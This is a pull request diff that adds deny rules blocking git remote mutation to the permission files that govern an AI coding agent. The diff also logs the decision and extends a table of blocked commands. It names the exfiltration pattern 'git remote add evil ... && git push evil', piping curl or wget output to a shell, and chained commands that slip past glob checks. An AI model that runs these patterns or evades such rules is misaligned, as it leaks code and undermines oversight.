Merge pull request #31 from stranma/security/git-remote-deny

security: deny git remote mutation to prevent exfiltration

Author: stranma

.claude/settings.json

@@ -33,6 +33,8 @@
     "deny": [
       "Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)",
       "Bash(git clean *)", "Bash(git config *)",
+      "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
+      "Bash(*git remote rename *)", "Bash(*git remote set-head *)",
       "Bash(uv self *)"
     ],
     "ask": [

.devcontainer/permissions/tier1-assisted.json

@@ -24,7 +24,9 @@
       "Bash(*gh pr merge *)",
       "Bash(*gh workflow run *)", "Bash(*gh workflow enable *)", "Bash(*gh workflow disable *)",
       "Bash(*gh issue create *)", "Bash(*gh issue close *)", "Bash(*gh issue edit *)",
-      "Bash(*terraform *)"
+      "Bash(*terraform *)",
+      "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
+      "Bash(*git remote rename *)", "Bash(*git remote set-head *)"
     ]
   },
   "enabledPlugins": {

.devcontainer/permissions/tier2-autonomous.json

@@ -23,7 +23,9 @@
       "Bash(*cargo install *)", "Bash(*go install *)", "Bash(*gem install *)",
       "Bash(*uv tool install *)", "Bash(*uv tool *)",
       "Bash(*apt install *)", "Bash(*apt-get install *)", "Bash(*dpkg -i *)",
-      "Bash(*snap install *)", "Bash(*brew install *)"
+      "Bash(*snap install *)", "Bash(*brew install *)",
+      "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
+      "Bash(*git remote rename *)", "Bash(*git remote set-head *)"
     ]
   },
   "enabledPlugins": {

.devcontainer/permissions/tier3-full-trust.json

@@ -12,7 +12,9 @@
       "Bash(*docker run --privileged *)",
       "Bash(*docker run --cap-add=ALL *)",
       "Bash(*docker run --pid=host *)",
-      "Bash(*docker run --network=host *)"
+      "Bash(*docker run --network=host *)",
+      "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
+      "Bash(*git remote rename *)", "Bash(*git remote set-head *)"
     ]
   },
   "enabledPlugins": {

docs/DECISIONS.md

@@ -181,3 +181,12 @@ When a decision is superseded or obsolete, delete it (git history preserves the
 - Delete `claude-code-review.yml` entirely -- the local code-reviewer agent provides the same review before PR creation, and the CI workflow required managing an `ANTHROPIC_API_KEY` secret in GitHub
 - Keep `dangerous-actions-blocker.sh` `ANTHROPIC_API_KEY=` pattern unchanged -- it blocks secrets in commands generally, not CI-specific
 - Keep `docs/IMPLEMENTATION_PLAN.md` unchanged -- historical record of completed work
+
+## 2026-03-16: Git Remote Mutation Deny Rules
+
+**Request**: Prevent code exfiltration by blocking `git remote add evil https://... && git push evil` attack pattern.
+
+**Decisions**:
+- Deny `git remote add`, `set-url`, `remove`, `rename`, `set-head` in settings.json and all tier files -- read-only `git remote -v` remains allowed via the existing `Bash(git remote *)` allow rule
+- Deny rules are absolute in Claude Code (cannot be overridden by allow), making this the correct control layer vs hooks
+- Tier files use wildcard prefix `Bash(*git remote add *)` to catch chained command variants

docs/DEVCONTAINER_PERMISSIONS.md

@@ -45,6 +45,7 @@ Regardless of tier, these layers provide defense-in-depth:
 | `docker run --privileged` | Use `docker run` without `--privileged` | Container escape vector |
 | `curl ... \| bash` / `wget ... \| sh` | Do not pipe remote scripts. Add to Dockerfile instead. | Supply-chain attack vector |
 | `cd path && command` | Use absolute paths: `command /absolute/path` | Chained commands bypass glob-based permission checks |
+| `git remote add/set-url/remove/rename/set-head` | Ask the user to manage remotes | Prevents code exfiltration to unauthorized remotes |
 
 ## Tier Comparison